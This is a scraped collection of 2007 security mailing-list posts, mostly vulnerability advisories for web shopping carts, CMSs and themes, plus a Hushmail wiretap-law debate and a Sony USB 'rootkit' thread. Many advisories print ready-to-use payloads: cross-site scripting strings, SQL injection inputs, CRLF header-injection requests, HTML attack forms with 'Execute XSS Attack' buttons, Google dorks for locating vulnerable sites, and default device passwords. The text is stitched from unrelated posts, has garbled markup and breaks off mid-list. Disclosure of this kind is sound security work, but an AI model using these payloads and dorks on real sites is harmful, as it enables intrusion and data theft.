On 2007-12-28, at 0555, [EMAIL PROTECTED] wrote: Too Guardster Team Juha-Matti Heres the proof. U.S. Calea law Sec. 103. ASSISTANCE CAPABILITY REQUIREMENTS By U.S. law any telecommunications carrier (thats you HushMail) that does business in the U.S. shall ensure intercept of all wire and electronic communications. So we have two choices, HushMail is telling the truth and knowingly breaking U.S. law. Or Hushmail is lying to the public and is a legal business in the U.S. The simplest answer is the Hushmail is a legal business in the U.S. http://www.askcalea.net/calea/103.html get your facts straight. a legal business in the U.S. is not the same thing as a telecommunications carrier. you are correct about what section 103 says. however, read in section 102 (47USC1001), where they define the term Telecommunications carrier. subsection (8)(B)(ii) is kinda vague- apparently, if the FCC decides that an email server is a replacement for a substantial portion of the local telephone exchange service and that it is in the public interest to deem such a person or entity to be a telecommunications carrier for the purposes of this tile, then anybody who runs an email server would be required to make provisions for government wire-tapping. so... did the FCC declare email servers to be part of the telephone service, and nobody noticed? subsection (8)(C)(i) explicitly says that information services are NOT included. subsection (6) defines what the term information services means... and (6)(B)(iii) sounds like an email server to me. in addition, subsection (6)(A) seems to indicate that the term information services would include encryption and decryption (they are transforming, after all), which means that they would also NOT be covered under the CALEA law. so my semi-educated but usually correct guess is that, unless they are providing connectivity to clients, hushmail is not a telecommunications carrier and therefore are not required to make any provisions for government monitoring. if they ARE providing connectivity, that's a totally different story. the fact is that they have your secret key on their server. it may be encrypted so they can't just plain read the key data, and they read the passphrase for that encryption wrapper from a web browser whenever they need to do something with the key. if they WERE considered to be a telecommunications carrier and received an order to monitor a user, they could easily change their scripting so that the first time that the user USED their key, the script would decrypt the key itself, and then make a copy of the un-encrypted secret key data, and then de- crypt anything in the user's account. personally, i wouldn't use hushmail anyway. i prefer PGP/GPG, where the secret key never leaves the computer sitting in front of me. if hushmail didn't have the secret key, then they wouldn't be able to provide any de-crypted information, regardless of whether they can convince a court that hushmail should be considerd a telecommunications carrier. | John M. Simpson--- KG4ZOW ---Programmer At Large | | http://www.jms1.net/ [EMAIL PROTECTED] | | http://video.google.com/videoplay?docid=-1656880303867390173 | PGP.sig Description: This is a digitally signed message part
Re: Sony: The Return Of The Rootkit
There are many other options outside of the sony key without the rootkit problem. One of the best devices that I have read about is from stealth. While I have yet to personally evaluate this product as I understand it there is no software outside of the standard USB driver needed to recognize and use a standard usb key outside of the initial device programming or a lockout state. http://www.gcn.com/print/26_14/44484-1.html From: Paul Sebastian Ziegler [EMAIL PROTECTED] To: Jason Brooke [EMAIL PROTECTED] CC: bugtraq@securityfocus.com Subject: Re: Sony: The Return Of The Rootkit Date: Sat, 01 Sep 2007 00:48:49 +0200 MIME-Version: 1.0 Received: from outgoing.securityfocus.com ([205.206.231.26]) by bay0-mc10-f20.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.2668); Sat, 1 Sep 2007 08:46:28 -0700 Received: from outgoing.securityfocus.com by outgoing.securityfocus.com via smtpd (for bay0-mc9-f.bay0.hotmail.com [65.54.245.8]) with ESMTP; Sat, 1 Sep 2007 08:39:16 -0700 Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])by outgoing2.securityfocus.com (Postfix) with QMQPid 92BF0143814; Sat, 1 Sep 2007 08:52:53 -0600 (MDT) Received: (qmail 15667 invoked from network); 31 Aug 2007 22:21:09 - X-Message-Delivery: Vj0zLjQuMDt1cz0wO2k9MDtsPTA7YT0w X-Message-Info: JGTYoYF78jEJJSXcFk0NH6H2SWDavuwx7zBAbu09QKc2wfCvlGFYYsunEZhyLfyhQaxxb5avDEAJpQf0p0jr0g== Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm Precedence: bulk List-Id: bugtraq.list-id.securityfocus.com List-Post: mailto:bugtraq@securityfocus.com List-Help: mailto:[EMAIL PROTECTED] List-Unsubscribe: mailto:[EMAIL PROTECTED] List-Subscribe: mailto:[EMAIL PROTECTED] Delivered-To: mailing list bugtraq@securityfocus.com Delivered-To: moderator for bugtraq@securityfocus.com User-Agent: Thunderbird 2.0.0.6 (X11/20070809) References: [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] X-Enigmail-Version: 0.95.2 Return-Path: [EMAIL PROTECTED] X-OriginalArrivalTime: 01 Sep 2007 15:46:28.0341 (UTC) FILETIME=[428E6A50:01C7ECAF] -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Also, the article by f-secure that you're having a go at, I'll have to protest here - I never hit at the original article. As you can read in the blog entry (this is also why I posted the link) I think that they have done everything alright. says This USB stick with rootkit-like behavior and openly acknowledges that the purpose of hiding files by the device is probably to try and prevent tampering with the fingerprint authentication. Which is why I agree with them. Their main point is that: The Sony MicroVault USM-F fingerprint reader software that comes with the USB stick installs a driver that is hiding a directory under c:\windows\. So, when enumerating files and subdirectories in the Windows directory, the directory and files inside it are not visible through Windows API. If you know the name of the directory, it is e.g. possible to enter the hidden directory using Command Prompt and it is possible to create new hidden files. There are also ways to run files from this directory. Files in this directory are also hidden from some antivirus scanners (as with the Sony BMG DRM case) depending on the techniques employed by the antivirus software. It is therefore technically possible for malware to use the hidden directory as a hiding place. That is correct. It could be abused that way. Just like several other folders on e.g. Vista could be as well since they share that exact functionality. Still that doesn't make it technically a rootkit. It is a pretty dumb idea, I totally agree. However AV really shouldn't be fooled by something like this anymore. Some still is, but they'll grow out of it. But just as Tyler Reguly phrased it just a few minutes earlier: There's a number of reasons why this isn't actually a rootkit... The problem with calling everything by the same name is that you degrade the original meaning of the world This is the problem I was hitting at. And I am not trying to defend Sony. Many Greetings Paul -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFG2JrNaHrXRd80sY8RCnG7AKCmDOCpL50LXparVP/B7rYGwHJUBQCfVnYq UCgAjhn7CN0ApBMbOc+3WvM= =p7Ye -END PGP SIGNATURE-
Advisory: Arbitrary kernel mode memory writes in AVG
=== Summary === Name: Arbitrary kernel mode memory writes in AVG Antivirus Release Date: 10 July 2007 Reference: NGS00500 Discover: Jonathan Lindsay john-lindsay ngssoftware com Vendor: Grisoft Vendor Reference: N/A Systems Affected: Windows NT based systems Risk: High Status: Fixed TimeLine Discovered: 13 April 2007 Released: 13 April 2007 Approved: 22 May 2007 Reported: 13 April 2007 Fixed: 9 July 2007 Published: 10 July 2007 === Description === The AVG Antivirus core kernel mode service driver (avg7core.sys) provides functionality that under a default install allows an unprivileged user to write arbitrary data to arbitrary addresses. This service provides the core detection (and probably disinfection) for the product. This issue has been verified as affecting AVG Free 7.5.446 and AVG Antivirus 7.5.448. The version of avg7core.sys in question is 7.5.0.444. The driver supports two IOCTLs in its generic DeviceIoControl handler. One of these IOCTLs (0x5348E004) is used to get the core driver to perform privileged functions on behalf of the user mode component; 52 different functions are supported, and one of these is designed to copy arbitrary data from addresses taken unchecked from the user mode application. As the kernel mode service is started upon system start (as it is necessary for on-access scanning), and it is accessible as read/write to Everyone, any user can then use this functionality to overwrite arbitrary kernel code or data. = Technical Details = The AVG Antivirus core kernel mode service driver (avg7core.sys) provides functionality that under a default install allows an unprivileged user to write arbitrary data to arbitrary addresses. This service provides the core detection (and probably disinfection) for the product. This issue has been verified as affecting AVG Free 7.5.446 and AVG Antivirus 7.5.448. The version of avg7core.sys in question is 7.5.0.444. The driver supports two IOCTLs in its generic DeviceIoControl handler. One of these IOCTLs (0x5348E004) is used to get the core driver to perform privileged functions on behalf of the user mode component; 52 different functions are supported, and one of these is designed to copy arbitrary data from addresses taken unchecked from the user mode application. As the kernel mode service is started upon system start (as it is necessary for on-access scanning), and it is acessible as read/write to Everyone, any user can then use this functionality to overwrite arbitrary kernel code or data. The internal function in question is the fifth in the internal switch table and therefore referenced with an index of four. Internal to this function, a parameter specifies the type of copy to be performed. Using a value of five will cause a segment of one buffer to be copied to an arbitrary address. The data structures involved are convoluted, and are unlikely to be discovered by a brute-force attempt to attack the service (such as using a fuzzer); additionally, although a lot of pointers are taken unvalidated from a user mode buffer, the entire dispatch processing function is wrapped in a try/catch block. === Fix Information === For the request in this case, the buffer contents are validated with respect to their usage before being passed on to the subfunction that implements 52 privileged functions. The particular case used in the POC code results in STATUS_NOT_IMPLEMENTED being returned, before the IRP being completed. This fix has been implemented in AVG 7.5 build 476, core service version 7.5.0.476. The updated versions of AVG Antivirus can be downloaded from: http://free.grisoft.com/doc/downloads-products/us/frt/0?prd=aff http://www.grisoft.com/doc/31/us/crp/0?prd=avw NGSSoftware Insight Security Research http://www.ngssoftware.com/ http://www.databasesecurity.com/ http://www.nextgenss.com/ +44(0)208 401 0070
iPhone Security Settings
http://www.andrew.cmu.edu/user/xsk/iPhoneSecuritySettings.html John
Re: RedLevel Advisory #23 - SalesCart Shopping Cart SQL Injection Vulnerability
Dear Accounting, I have legally posted vulnerability information on a mailing list specifically for this issue. The public is entitled to this information. It is up to the editors of the board to decide whether this vulnerability is fact or fiction. They don't post incorrect vulnerability information. Otherwise, I could simply say I have 15 remote root vulnerabilities affecting every linux kernel. If you would prefer for our company to look into your commercial product, we would be more than happy. For now, though, we would appreciate private and direct correspondence. Thank you, John Martinelli RedLevel.org Security On Jun 13, 2007, at 1:36 PM, [EMAIL PROTECTED] wrote: This is not true and is actually slander. He says no one responded; however, I personally talked with Mr. Martinelli and explained to him he was looking at an old out-of- date demo on the website that is not indicative of the released product. These tests were performed on a non-commercial product demo and are not indicative of the commercial product at all. We were able to reproduce this sql injection on this demo code but not on the released product. In addition, the product the customer is referring to is also completely obsolete. Mr. Martinelli's information is incorrect and down right slanderous in at least 3 or 4 accounts.
Wordpress default theme XSS (admin) and other problems
There is an XSS in the Wordpress default theme. Tested on WordPress version 2.2 Filename functions.php, line 387. Code: form style=display: inline method=post name=hicolor id=hicolor action=?php echo $_SERVER['REQUEST_URI']; ? $_SERVER['REQUEST_URI'] is directly echoed to the user. This problem can be exploited if the adminstrator is logged in. Sample exploit URL. http://www.example.com/wp-admin/themes.php?page=functions.phpzmx;scriptalert(1)/script There are other XSS vulnerabilities in popular Wordpress themes. More details on http://www.xssnews.com/
Redlevel Advisory #025 - Vonage VoIP Telephone Adapter Default Misconfiguration
Vonage VoIP Telephone Adapter Default Misconfiguration The Vonage VoIP Telephone Adapter device is, by default, accessible from the WLAN/internet. The product ships with the default username of 'user' and default password of 'user' to access the administrative backend. Users are suggested to update their passwords immediately. An attacker could cause a denial-of-service by uploading broken firmware to the device, or by constantly rebooting the device. John Martinelli [EMAIL PROTECTED] http://RedLevel.org RedLevel.org Security
RedLevel Advisory #23 - SalesCart Shopping Cart SQL Injection Vulnerability
SalesCart Shopping Cart - SQL Injection Vulnerability SalesCart does not sanitize any forms in cgi-bin/reorder2.asp, allowing an attacker to inject arbitrary SQL queries, as well as possible command execution. Google d0rk: Sorry, you have no Items in your Shopping Cart ! inurl:cgi-bin/view1.asp Vulnerable Variable: All forms in reorder2.asp Vulnerable File: cgi-bin/reorder2.asp (password: x' OR 'x'='x) Vendor Status: Notified multiple times, no response. Possible silent patch. John Martinelli [EMAIL PROTECTED] RedLevel Security RedLevel.org May 30th, 2007
RedLevel Advisory #017 - PsychoStats v3.0.6b Multiple Cross-Site Scripting Vulnerabilities
PsychoStats v3.0.6b Multiple Cross-Site Scripting Vulnerabilities PsychoStats contains multiple cross-site scripting vulnerabilities that may be exploited through the URI. Vulnerable Files: awards.php, login.php, register.php, weapons.php - other files may also be susceptible to this vulnerability. Vulnerability: http://target.com/psychostats/weapons.php/scriptalert(1)/script Vulnerable: PsychoStats v3.0.6b (other versions may also be vulnerable) Google d0rk: Powered by PsychoStats v3.0.6b John Martinelli [EMAIL PROTECTED] RedLevel Security RedLevel.org May 19th, 2007
RedLevel Advisory #022 - ClonusWiki .5 Cross-Site Scripting Vulnerability
!-- ClonusWiki .5 - Cross-Site Scripting Vulnerability Vendor: http://clonuswiki.sourceforge.net Vulnerable Variable: query Vulnerable File: index.php Vulnerable: ClonusWiki .5 (other versions may also be vulnerable) Google d0rk: ClonusWiki .5 intitle:ClonusWiki John Martinelli [EMAIL PROTECTED] RedLevel Security http://www.RedLevel.org May 22nd, 2007 !-- html headtitleClonusWiki .5 - Cross-Site Scripting Vulnerability/titlebody centerbrbr font size=4ClonusWiki .5 - Cross-Site Scripting Vulnerability/fontbr font size=3discovered by a href=http://john-martinelli.com;John Martinelli/a of a href=http://redlevel.org;RedLevel Security/abrbr Google d0rk: a href=http://www.google.com/search?hl=enq=%22ClonusWiki+.5%22+intitle%3A%22ClonusWiki%22;ClonusWiki .5 intitle:ClonusWiki/a /fontbrbrbr centerfile bindex.php/b - variable bquery/b - method bget/b/centerbr form action=http://clonuswiki.sourceforge.net; method=get input size=75 name=query value=quot;scriptalert(1)/script input type=hidden name=action value=search input type=submit value=Execute XSS Attack class=button /form br /body/html
RedLevel Advisory #018 - RM EasyMail Plus - Cross-Site Scripting Vulnerability #2
RM EasyMail Plus - Cross-Site Scripting Vulnerability #2 This cross-site scripting vulnerability can be exploited if a client views an email with a specially crafted title. Vulnerable E-Mail Title: /titlescriptalert(1)/script Vulnerable: RM EasyMail Plus Google d0rk: intitle:Powered by RM EasyMail Plus John Martinelli [EMAIL PROTECTED] RedLevel Security RedLevel.org May 19th, 2007
RedLevel Advisory #020 - HLstats v1.35 Cross-Site Scripting Vulnerability #3
!-- HLstats v1.35 - Cross-Site Scripting Vulnerability #3 Vulnerable Variables: authusername, authpassword Vulnerable File: hlstats.php Vulnerable: HLstats 1.2 (other versions may also be vulnerable) Google d0rk: generated in real-time by HLstats John Martinelli [EMAIL PROTECTED] RedLevel Security http://www.RedLevel.org May 21st, 2007 !-- html headtitleHLstats v1.35 - Cross-Site Scripting Vulnerability #3/titlebody centerbrbr font size=4HLstats v1.35 - Cross-Site Scripting Vulnerability #3/fontbr font size=3discovered by a href=http://john-martinelli.com;John Martinelli/a of a href=http://redlevel.org;RedLevel Security/abrbr Google d0rk: a href=http://www.google.com/search?q=%22generated+in+real-time+by+hlstats%22;quot;generated in real-time by HLstatsquot;/a /fontbrbrbr centerfile bhlstats.php/b - variable bauthusername/b - method bpost/b/centerbr form action=http://www.target.com/hlstats/hlstats.php?mode=adminact_sort=descriptionact_sortorder=ascweap_sort=codeweap_sortorder=asc; method=post input size=75 name=authusername value=quot;scriptalert(1)/script input type=hidden name=authpassword value=password input type=hidden name=authsavepass value=off input type=submit value=Execute XSS Attack class=button /form br centerfile bhlstats.php/b - variable bauthpassword/b - method bpost/b/centerbr form action=http://www.target.com/hlstats/hlstats.php?mode=adminact_sort=descriptionact_sortorder=ascweap_sort=codeweap_sortorder=asc; method=post input size=75 name=authpassword value=quot;scriptalert(1)/script input type=hidden name=authusername value=username input type=hidden name=authsavepass value=off input type=submit value=Execute XSS Attack class=button /form brbrbr /body/html
RedLevel Advisory #021 - CubeCart v3.0.16 SQL Injection Vulnerability
An interesting SQL injection vulnerability was discovered in CubeCart v3.0.16. This vulnerability cannot easily be exploited by traditional means - in fact, the actual vulnerable variable was not discovered. As a piece of user input is passed to CubeCart, it is sanitized through a routine mySQLSafe - all except the variable $option in include/blah/cart.inc.php as well as other files in the same directory. The vulnerability was only reproduced by RedLevel with the Acunetix Web Vulnerability Scanner. The vulnerability evidently 'poisons' data attached with the user's cookie. The following error message displays an example of the injection: --- begin --- MySQL Error Occured 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Set-Cookie' at line 2 QUERY = SELECT cc3_CubeCart_options_bot.option_id, cc3_CubeCart_options_bot.value_id, option_price, option_symbol, assign_id FROM `cc3_CubeCart_options_bot` INNER JOIN `cc3_CubeCart_options_mid` ON cc3_CubeCart_options_mid.value_id = cc3_CubeCart_options_bot.value_id INNER JOIN `cc3_CubeCart_options_top` ON cc3_CubeCart_options_bot.option_id = cc3_CubeCart_options_top.option_id WHERE assign_id = Set-Cookie --- end --- To solve this vulnerability, the variable $option should be sanitized with mySQLSafe in all include files. John Martinelli [EMAIL PROTECTED] RedLevel Security http://www.RedLevel.org May 21st, 2007
RedLevel Advisory #017 - HLstats v1.35 Cross-Site Scripting Vulnerability #2
!-- HLstats v1.35 - Cross-Site Scripting Vulnerability #2 Vulnerable Variable: action Vulnerable File: hlstats.php Vulnerable: HLstats 1.2 (other versions may also be vulnerable) Google d0rk: generated in real-time by HLstats John Martinelli [EMAIL PROTECTED] RedLevel Security http://www.RedLevel.org May 17th, 2007 !-- html headtitleHLstats v1.35 - Cross-Site Scripting Vulnerability #2/titlebody centerbrbr font size=4HLstats v1.35 - Cross-Site Scripting Vulnerability #2/fontbr font size=3discovered by a href=http://john-martinelli.com;John Martinelli/a of a href=http://redlevel.org;RedLevel Security/abrbr Google d0rk: a href=http://www.google.com/search?q=%22generated+in+real-time+by+hlstats%22;quot;generated in real-time by HLstatsquot;/a /fontbrbrbr centerfile bhlstats.php/b - variable baction/b - method bget/b/centerbr form action=http://www.target.com/index.php; method=get input size=75 name=action value=script %0a%0dalert(1)/script input type=hidden name=mode value=actioninfo input type=hidden name=game value=cstrike input type=submit value=Execute XSS Attack class=button /form brbrbr /body/html
RedLevel Advisory #016 - HLstats v1.35 Cross-Site Scripting Vulnerability
HLstats v1.35 Cross-Site Scripting Vulnerability HLstats contains a cross-site scripting vulnerability that may be exploited through the URI. Vulnerability: http://target.com/hlstats/hlstats.php/scriptalert(1)/script Vulnerable: HLstats v1.35 (other versions may also be vulnerable) Google d0rk: generated in real-time by HLstats John Martinelli [EMAIL PROTECTED] RedLevel Security RedLevel.org May 19th, 2007
VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability
!-- VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability A cross-site scripting vulnerability in VP-ASP Shopping Cart 6.50 was discovered. The vendor, VP-ASP, shipped an official patch on May 16th, 2007. Vulnerable Variable: type Vulnerable File: shopcontent.asp Vulnerable: VP-ASP Shopping Cart 6.50 (other versions should also be vulnerable) Google d0rk: intitle:VP-ASP Shopping Cart 6.50 John Martinelli [EMAIL PROTECTED] RedLevel Security http://www.RedLevel.org May 16th, 2007 !-- html headtitleVP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability/titlebody centerbrbr font size=4VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability/fontbr font size=3discovered by a href=http://john-martinelli.com;John Martinelli/a of a href=http://redlevel.org;RedLevel Security/abrbr Google d0rk: a href=http://www.google.com/search?q=intitle%3A%22VP-ASP+Shopping+Cart+6.50%22;intitle:VP-ASP Shopping Cart 6.50/a /fontbrbrbr centerfile bshopcontent.asp/b - variable btype/b - method bget/b/centerbr form action=http://www.target.com/shop/shopcontent.asp; method=get input size=75 name=type value=body onload=alert(1) input type=submit value=Execute XSS Attack class=button /form brbrbr /form /body/html
RedLevel Advisory #015 - Redoable 1.2 Cross-Site Scripting Vulnerability (patch included)
note to editors: this patch resolves this vulnerability:
http://redlevel.org/wp-content/uploads/patch.zip
!--
Redoable 1.2 - Cross-Site Scripting Vulnerability
---
Vulnerable Code
---
header.php (line 6):
... elseif (is_search()) { ? Search for ?php echo $s } ...
searchloop.php (line 24):
elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'),
$s); }
Patched Code
header.php (line 6 FIXED):
... elseif (is_search()) { ? Search for ?php echo strip_tags($s); } ...
searchloop.php (line 24 FIXED):
elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'),
strip_tags($s)); }
Vulnerable Variable: s
Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php
Vulnerable: Redoable 1.2 (other versions should also be vulnerable)
Google d0rk: and Redoable 1.2
John Martinelli
[EMAIL PROTECTED]
RedLevel Security
http://www.RedLevel.org
May 17th, 2007
!--
html
headtitleRedoable 1.2 - Cross-Site Scripting Vulnerability/titlebody
centerbrbr
font size=4Redoable 1.2 - Cross-Site Scripting Vulnerability/fontbr
font size=3discovered by a href=http://john-martinelli.com;John
Martinelli/a of a href=http://redlevel.org;RedLevel
Security/abrbr
Google d0rk: a
href=http://www.google.com/search?q=%22and+Redoable+1.2%22;and Redoable
1.2/a
/fontbrbrbr
centerfile bindex.php/b - variable bs/b - method
bget/b/centerbr
form action=http://www.target.com/index.php; method=get
input size=75 name=s value=/titlescriptalert(1)/script
input type=submit value=Execute XSS Attack class=button
/form
brbrbr
/form
/body/html
SunShop (v4) Multiple Vulnerabilities
!-- SunShop (v4) Multiple Vulnerabilities Cookie Manipulation Vulnerability --- File: index.php Variable: l (POST) Cross-Site Scripting Vulnerability File: index.php Variable: l (POST) SQL Injection Vulnerabilities - File: index.php Variable: c (GET) File: index.php Variables: quantity[x:xx] (POST) Vulnerable: SunShop Shopping Cart v4 Google d0rk: Powered by SunShop Shopping Cart John Martinelli [EMAIL PROTECTED] http://john-martinelli.com May 5th, 2007 !-- html headtitleSunShop (v4) Multiple Vulnerabilities/titlebody centerbrbrfont size=4SunShop (v4) Multiple Vulnerabilities/fontbr font size=3discovered by a href=http://john-martinelli.com;John Martinelli/abr brGoogle d0rk: a href=http://www.google.com/search?q=+%22Powered+by+SunShop+Shopping+Cart%22;quot;Powered by SunShop Shopping Cartquot;/a /fontbr brbr form action=http://demos.turnkeywebtools.com/ss4/index.php; method=post input name=l size=75 value=script %0a%0dalert(1);/script input name=remove[0] type=hidden value=off input name=quantity[0:49] type=hidden value=1 input name=remove[1] type=hidden value=off input name=quantity[1:50] type=hidden value=1 input name=remove[2] type=hidden value=off input name=quantity[2:55] type=hidden value=1 input name=remove[3] type=hidden value=off input name=quantity[3:42] type=hidden value=1 input name=remove[4] type=hidden value=off input name=quantity[4:51] type=hidden value=1 input name=coupon type=hidden value=[EMAIL PROTECTED] input type=submit value=Execute Attack on variable 'l' in index.php class=button /form br form action=http://demos.turnkeywebtools.com/ss4/index.php; method=post input name=c size=75 value=' input name=pg type=hidden value=1 input name=l type=hidden value=product_list input type=submit value=Execute SQL Injection on variable 'c' in index.php class=button /form /body/html
UPDATED: CubeCart (v3.0.15) - CRLF Injection Vulnerability
Note to BugTraq: Forgot to tell which files are vulnerable. Sorry! CubeCart (v3.0.15) - CRLF Injection Vulnerability It is possible to set the cookie (prefixed with ccSID) to cause CRLF injection. Vulnerable files: cart.php, index.php HTTP Request: - GET / HTTP/1.0 Accept: */* User-Agent: Browser/1.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: www.cubecart.com Cookie: ccSIDb05df7533e9e599e942866426123cbfb=%0d%0aINJECTED-HEADER%3Ainjected-data;ccUser=ZTYwNjY1YWEyMTE5MDc4NTJhYmY0Yjk5NjQ1NjAyZmQ%253D Connection: Close Pragma: no-cache HTTP Response: -- HTTP/1.1 200 OK Date: Sat, 05 May 2007 22:02:26 GMT Server: Apache/2.0.59 (Unix) X-Powered-By: PHP/5.0.4 Set-Cookie: ccSIDb05df7533e9e599e942866426123cbfb= INJECTED-HEADER: injected-data Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: ccUser=YTk4YmIxMjI0YmYwYWRmM2NhMjkzNmFlNTZhMjJmNzk%3D; expires=Mon, 07 May 2007 22:02:26 GMT Connection: close Content-Type: text/html; charset=ISO-8859-1 Vulnerable: v3.0.15 (others may also be affected) Google d0rk: Powered by CubeCart John Martinelli [EMAIL PROTECTED] http://john-martinelli.com May 5th, 2007
Drake CMS (v0.4.0) - CRLF Injection Vulnerability
Drake CMS (v0.4.0) - CRLF Injection Vulnerability Vulnerable files: index.php HTTP Request: - POST /index.php?lang=%0d%0aINJECTEDHEADER%3Ainjecteddata HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Browser/1.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: drakecms.sourceforge.net Content-Length: 121 Cookie: PHPSESSID=510885055;user_lang=sk Connection: Close Pragma: no-cache PHPSESSID=510885055[EMAIL PROTECTED][EMAIL PROTECTED]task=loginremember=off HTTP Response: -- HTTP/1.1 200 OK Date: Sun, 06 May 2007 01:20:14 GMT Server: Apache/1.3.33 (Unix) PHP/4.3.10 X-Powered-By: PHP/4.3.10 Set-Cookie: PHPSESSID=510885055; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: user_lang=deleted; expires=Sat, 06-May-06 01:20:13 GMT Content-Language INJECTEDHEADER: injecteddata Connection: close Content-Type: text/html; charset=UTF-8 Vulnerable: v0.4.0 (others may also be affected) Google d0rk: Powered by Drake CMS John Martinelli [EMAIL PROTECTED] http://john-martinelli.com May 5th, 2007
ACP3 (v4.0b3) - Multiple Vulnerabilities
!-- ACP3 (v4.0b3) - Multiple Vulnerabilities Cookie Manipulation Vulnerability --- File: search/list/action_search/index.php Variable: form[search_term] Cross-Site Scripting Vulnerabilities File: contact/contact/index.php Variable: form[mail] File: search/list/action_search/index.php Variables: form[mods][], form[search_term], File: modules/dl/download.php Variable: id File: news/list/index.php Variable: form[cat] File: news/details/id_##/action_create/index.php Variables: form[cat], form[name], form[message], File: newsletter/create/index.php Variable: form[mail] SQL Injection Vulnerabilities - File: feeds.php Variable: mode File: news/list/index.php Variable: form[cat] File: news/details/id_##/action_create/index.php Variable: form[cat] File: search/list/action_search/index.php Variable: form[mods][] Vulnerable: ACP3 v4.0 Beta 3 (other versions may also be vulnerable) Google d0rk: Diese Webseite wird angetrieben von ACP3 John Martinelli [EMAIL PROTECTED] http://john-martinelli.com May 5th, 2007 !-- html headtitleACP3 (v4.0b3) - Multiple Vulnerabilities/titlebody centerbrbrfont size=4ACP3 (v4.0b3) - Multiple Vulnerabilities/fontbrfont size=3discovered by a href=http://john-martinelli.com;John Martinelli/abrbrGoogle d0rk: a href=http://www.google.com/search?q=%22Diese+Webseite+wird+angetrieben+von+ACP3;quot;Diese Webseite wird angetrieben von ACP3quot;/a/fontbr brbr form action=http://www.example.com/path/news/list/index.php; method=post input name=form[cat] size=75 value=gt;apos;gt;scriptalert(1);/script input type=submit value=Execute Attack class=button /form /body/html
Bradford CampusManager v3.1(6) Sensitive Data Disclosure
Bradford CampusManager v3.1(6) Sensitive Data Disclosure The following directories should be protected from world readability. Child folders include backup, log, and configuration files. http://cmnms.target.com:8080/runTime/ http://cmnms.target.com:8080/remediationReports/ Vulnerable: CampusManager Network Control Application Server v3.1(6) (others should also be affected) John Martinelli [EMAIL PROTECTED] http://john-martinelli.com May 3rd, 2007
12All File Upload Vulnerability
Author: John McGuire
Company: ActiveCampaign
Product: 1-2-All
Version: 4.5x - 4.53.13
Flaw: Arbitrary File Upload
Vendor Notified: Yes
Patch Available: Yes
Patch Location:
http://www.activecampaign.com/support/forum/showthread.php?t=3293
URL:
http://{12All_Location}/admin/functions/editor/editor/filemanager/browser/default/browser.html
Description: The FCKeditor module used to create HTML emails appears to
check filenames against a blacklist of bad extensions. Extensions such
as php4 and php5 are not in this list, and can be executed and run
depending on server configuration.
phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit
!-- phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit Vulnerable Variable: item_id Vulnerable File: modules/news/article.php Vulnerable: phpMySpace Gold v8.10 (other versions should also be vulnerable) Google d0rk: Powered by phpMySpace Gold 8.10 John Martinelli [EMAIL PROTECTED] http://john-martinelli.com April 22nd, 2007 !-- html headtitlephpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit/titlebody centerbrbrfont size=4phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit/fontbrfont size=3discovered by a href=http://john-martinelli.com;John Martinelli/abrbrGoogle d0rk: a href=http://www.google.com/search?q=+%22Powered+by+phpMySpace+Gold+8.10%22;quot;Powered by Ripe Website Managerquot;/a/fontbr brbr form action=http://www.example.com/path/modules/news/article.php; method=get input name=mode type=hidden value=0 input name=order type=hidden value=0 input name=item_id size=75 value=1quot; AND quot;1quot;=quot;0 input type=submit value=Execute SQL Injection class=button /form /body/html
NuclearBB Alpha 1 - Multiple Blind SQL/XPath Injection Vulnerabilities
NuclearBB Alpha 1 - Multiple Blind SQL/XPath Injection Vulnerabilities Vulnerable: NuclearBB Alpha 1 Google d0rk: This forum is powered by NuclearBB = String Inputs = login.php - $_POST['submit'] username=xyz password=passxyz submit=Login+and+1=0 register.php - $_POST['website'] [EMAIL PROTECTED] [EMAIL PROTECTED] pass1=passwordxyz pass2=passwordxyz [EMAIL PROTECTED]+and+1=0 [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] coppa_state=over register_submit=Register register.php - $_POST['aol'] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED]+and+1=0 [EMAIL PROTECTED] [EMAIL PROTECTED] coppa_state=over register_submit=Register -- register.php - $_POST['signature'] -- [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED]+and+1=0 coppa_state=over register_submit=Register == Numeric Inputs == --- groups.php - $_GET['g'] --- http://www.example.com/groups.php?g=1+and+1=0 -- register.php - $_POST['email'] -- [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] 